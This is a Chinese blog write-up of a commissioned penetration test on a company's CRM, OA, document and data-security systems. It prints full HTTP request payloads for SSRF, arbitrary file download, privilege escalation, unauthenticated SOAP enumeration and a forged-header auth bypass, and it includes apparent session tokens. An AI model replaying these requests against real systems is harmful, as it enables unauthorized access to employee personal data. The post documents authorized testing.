HavocSec
2026-09-12
点 赞
4
热 度
65
评 论
0

记某集团公司渗透测试

  1. 首页
  2. 渗透测试
  3. 记某集团公司渗透测试

文章摘要

智阅GPT

前言:这是公司临时安排的一个渗透测试项目,差不多有十个左右业务系统,且大部分账号给的是高低权限。大部分也是基于AI挖到的然后手动复现的,也看看数据包poc构造的思路以及接口参数的暴露点。

一、某CRM系统

这是一个客户关系管理系统,既然有客户关系就有对应的功能点,但没有找到敏感信息泄露,这边只展示一些有价值的吧,具体漏洞情况如下:

(一)任意文件下载

通过对js进行分析,发现/file/GetAttFile接口无需登录只需要知道fileid就可以实现任意文件下载,但这里fileid还是有加密算法来加密文件名无法遍历,但可以通过其他接口来暴露fileid来间接实现。具体数据包如下:

GET /file/GetAttFile?fileid=3c64af9b-376b-49de-8ea9-2715351103a8   HTTP/1.1
Host: xxx.xxx.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: */*
Sec-Fetch-Site: none
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9

下载下来的文件还是存在一定危害的,如:

后续可以利用该文档暴露的接口继续进行深入测试,但这里存在跨业务系统,故没有继续深入测试。

(二)SSRF

这个ssrf是要在登录状态下,又在/plat/GetContentFromUrl接口中遇到了老朋友url,拼接url尝试ssrf发现存在回显ssrf,具体数据包如下:

访问80端口:

GET /plat/GetContentFromUrl?url=http://127.0.0.1:80/&method=get HTTP/1.1
Host: xxx.xxx.com
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: "Not=A?Brand";v="99", "Google Chrome";v="151", "Chromium";v="151"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xxx.xxx.com
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Cookie:xxxxxxxxx

进行出网验证:

GET /plat/GetContentFromUrl?url=https://httpbin.org/post&method=post&para={"x":"PING"} HTTP/1.1
Host: xxx.xxx.com
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: "Not=A?Brand";v="99", "Google Chrome";v="151", "Chromium";v="151"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xxx.xxx.com
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Cookie:xxxxxxxxx

访问redis存在未授权经尝试不能进行getshell利用

GET /plat/GetContentFromUrl?url=http://127.0.0.1:6379/&method=get HTTP/1.1
Host: xxx.xxx.com
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: "Not=A?Brand";v="99", "Google Chrome";v="151", "Chromium";v="151"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xxx.xxx.com
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Cookie:xxxxxxxxx

二、某销售xx管理系统

这个系统主要是根据客户给的高低权限账号进行越权操作,挖到一个水平越权和一个垂直越权。

(一)水平越权

这是在api接口中将参数置空进而达到返回全量用户数据的操作,这类接口的名称一般也挺明显常常是List

具体数据包如下:

POST /api/auth/getUserAuthorityList HTTP/1.1
Host: xxx.xxx.com
Connection: keep-alive
Content-Length: 121
sec-ch-ua-platform: "Windows"
Authorization: 7EB2F52A-C66B-4C4D-96D0-61ECF8687302
sec-ch-ua: "Not=A?Brand";v="99", "Google Chrome";v="151", "Chromium";v="151"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Origin: xxx.xxx.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: xxx.xxx.com
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9

{"rows":10,"page":1,"userName":"","isQueryAll":""}

再根据返回的userCode调用/api/auth/getUserAuthorityDetail接口来返回用户具体的信息,但这里我用Yakit无法成功发包不知道为什么,故用curl来实现

(二)垂直越权

这边垂直越权其实和上面水平越权一样,也是利用了两个接口,不过这两个接口应该是管理员用户权限才能调用,这边用普通用户的令牌就可以调用了,先用/api/manu/searchManuUserInfo接口获得全员userCode再根据泄露的userCode可查看任意用户详情(含企业邮箱)。

具体数据包如下:

POST /api/manu/searchManuUserInfo HTTP/1.1
Host: xxx.xxx.com
Connection: keep-alive
Content-Length: 121
sec-ch-ua-platform: "Windows"
Authorization: 7EB2F52A-C66B-4C4D-96D0-61ECF8687302
sec-ch-ua: "Not=A?Brand";v="99", "Google Chrome";v="151", "Chromium";v="151"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Origin: https://xxx.xxx.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://xxx.xxx.com
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9

{"rows":5,"page":1}

再通过/api/service/searchoneUserInfo接口和泄露的userCode来查看详情。

三、某OA系统

这个OA系统以攻击链的形式向大家展示,最根本的原因是这个系统有WSDL未授权暴露,不然这些利用点不好找

(一)WSDL未授权暴露

WSDL(Web Services Description Language)文件用于描述Web服务的接口和操作,但如果未对其访问进行限制,可能导致敏感信息泄露或其他安全问题。

访问/services/listServices接口

(二)未授权流程枚举

WSDL暴露的XxEeService_ECS可以无需 Cookie 调用,按工号(连续编号)枚举员工流程清单,具体数据包如下:

POST /services/XxEeService_ECS HTTP/1.1
Host: xxx.xxx.com
Content-Type: text/xml; charset=UTF-8
SOAPAction: ""

<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://localhost/services/XxEeService_ECS" xmlns:jn="http://ws.jn"><soapenv:Header/><soapenv:Body><web:findWorkflowInfo><web:in0><jn:workCode>009999</jn:workCode></web:in0></web:findWorkflowInfo></soapenv:Body></soapenv:Envelope>
image-Vmus.png

(三)SOAP未授权

SOAP(简单对象访问协议)是一种基于XML的通信协议,常用于Web服务的交互。然而,SOAP接口如果未正确配置认证和授权机制,可能导致未授权访问,带来安全风险。

不含任何 Cookie / 认证头,直接返回流程完整表单数据。requestId 为连续整数可遍历

POST /services/WorkflowServiceXml HTTP/1.1
Host: xxx.xxx.com
Content-Type: text/xml; charset=UTF-8
SOAPAction: ""
Content-Length: 438

<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"><soapenv:Header/><soapenv:Body><web:getWorkflowRequest><web:in0>350000</web:in0><web:in1>1</web:in1><web:in2>0</web:in2></web:getWorkflowRequest></soapenv:Body></soapenv:Envelope>

四、数据安全空间系统

(一)认证绕过

管理端所有 API 以 enadmin-token + finger 签名 做会话认证,但网关同时信任一个静态内部认证头 EnAdmin-Internal-auth: OK,攻击者只需要伪造EnAdmin-Internal-auth: OK即可实现认证绕过

涉及众多接口:

/enadmin/api/client/user/page(全量用户枚举)
/enadmin/api/client/user/group/tree(组织架构)
/enadmin/api/audit/commonLog/policyHit/remind(策略命中日志)
/enadmin/api/system/information/select(系统配置)
/enadmin/api/safeSpace/home/userCount(用户统计)
/enadmin/api/monitor/center/dataCenter(内网网段)
/enadmin/api/client/user/add(创建用户)
/enadmin/api/client/user/delete(删除用户)

具体数据包如下:

POST /enadmin/api/client/user/page HTTP/1.1
Host: xxx.xxx.xxx
Connection: keep-alive
EnAdmin-Internal-auth: OK
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
sec-ch-ua: "Not=A?Brand";v="99", "Google Chrome";v="151", "Chromium";v="151"
sec-ch-ua-mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://xxx.xxx.xxx
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json

{"pageNum":1,"pageSize":1000}

泄露34,661 名员工的账号、姓名、手机号、邮箱、身份证、部门、离职状态可被匿名批量导出。

五、xx公司文档管理系统

(一)任意文件下载

这个漏洞是基于两个账号,测试相互验证完成的,文件下载接口只校验登录且参数nsid 完全不参与校验,通过遍历neid参数即可实现跨账号任意文件下载,具体数据包如下:

GET /v2/files/databox?account_id=1&uid=1036721&neid=33915675&nsid=109860 HTTP/1.1
Host: xxx.xxx.com
Cookie: language=zh; JSESSIONID=C7C2396229186127747EA7D32D70DCF1; Hm_lvt_52c6ec3627dd160fd780297908356375=1788492537; Hm_lpvt_52c6ec3627dd160fd780297908356375=1788502190; HMACCOUNT=BE1981B59F31D4FD; X-LENOVO-FREQUENT=%E6%B8%97%E9%80%8F%E4%BA%91%E7%9B%98_2026-09-04%2014%3A10%3A14; theme=white; querymails=; X-LENOVO-SESS-ID=515ecdb861ec49e785cc7b94a0b26c5e_1_1036721_app1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:155.0) Gecko/20100101 Firefox/155.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://xxx.xxx.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

修改neid为33915672,可以看到文件更改。

image-ooWv.png

(二)邮箱枚举

任意普通成员会话即可按前缀检索全量员工邮箱,通过控制limit参数和query参数可全量读取,limit控制大小,query参数则匹配邮箱关键字

具体数据包如下:

GET /v2/user/search?limit=10000&offset=0&account_id=1&uid=1036721&query=a HTTP/1.1
Host: xxx.xxx.xxx
Cookie: language=zh; JSESSIONID=C7C2396229186127747EA7D32D70DCF1; Hm_lvt_52c6ec3627dd160fd780297908356375=1788492537; Hm_lpvt_52c6ec3627dd160fd780297908356375=1788502190; HMACCOUNT=BE1981B59F31D4FD; X-LENOVO-FREQUENT=%E6%B8%97%E9%80%8F%E4%BA%91%E7%9B%98_2026-09-04%2014%3A10%3A14; theme=white; querymails=; X-LENOVO-SESS-ID=515ecdb861ec49e785cc7b94a0b26c5e_1_1036721_app1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:155.0) Gecko/20100101 Firefox/155.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://xxx.xxx.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

查询邮箱关键字为b的,修改query=b即可

六、xx公司文件准入管理系统

(一)、接口泄露密码哈希

这个漏洞是基于admin账户测的,但admin账户只有修改用户密码的权限并无法查看用户密码,如下图:

但/trwfe/user/findOnlineUserForPage.do接口泄露用户哈希密码,具体数据包如下:

POST /trwfe/user/findOnlineUserForPage.do HTTP/1.1
Host: xxx.xxx.xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONID=AD8D980821BF01243927C47D1F193BE9; lang=zh-CN
Authorization: Bearer 6567bac1bc20bb53a15eb625c4a0050623c3ef624d7d019502fb10fe8a8d349e292a5f67d9db1f223e8188e116263efda8193d56153ccbab891843fb5e2e136ae27b81a93344cd9c44d4ab91578b5f18ae7de63b6840976cadce60904aca87a66e63f512d136558230564b5bc0994240ff93f3e53d7d43151f8e1fbec4c4a7b368ed27ee335dc4bded10a55d45a9c4a639c23d961857195a4ceae4233aa8302d8d430c9d0996f0f03814732f35c8637864fcb40902be895fe7bd7570a7148092d251deb16e7b01f32eba836ff19256ad07525d5f29510c7c903b7195c5e2a6a4dad933378801ac0a8a63aae1854c107ab09b275c157ee94302e5834dccb401ce0d26bb4d6e4bf78a0e57fddba73f842a16bd5408ceb7e72c0af22ac8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Referer: http://xxx.xxx.xxx
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://xxx.xxx.xxx
Content-Length: 0

page=1&rows=100

这次渗透过程中,客户的反馈还是很快的,这些漏洞纯手测还是很费时间的,在这方面AIfuzz简直不要快太多,但还是希望大家多多指教,漏洞还是自己挖出来有成就感,纯用ai没成就感。


一名网络安全技术热爱者,深知安全技术永无止境,怀揣着对未来的憧憬也对现在道路的务实,希望在这条道路上与诸位一起共勉。

HavocSec

istj 物流师

站长

具有版权性

请您在转载、复制时注明本文 作者、链接及内容来源信息。 若涉及转载第三方内容,还需一同注明。

具有时效性

目录

请大家多多指教!

2 文章数
2 分类数
0 评论数
8标签数
最近评论

热门文章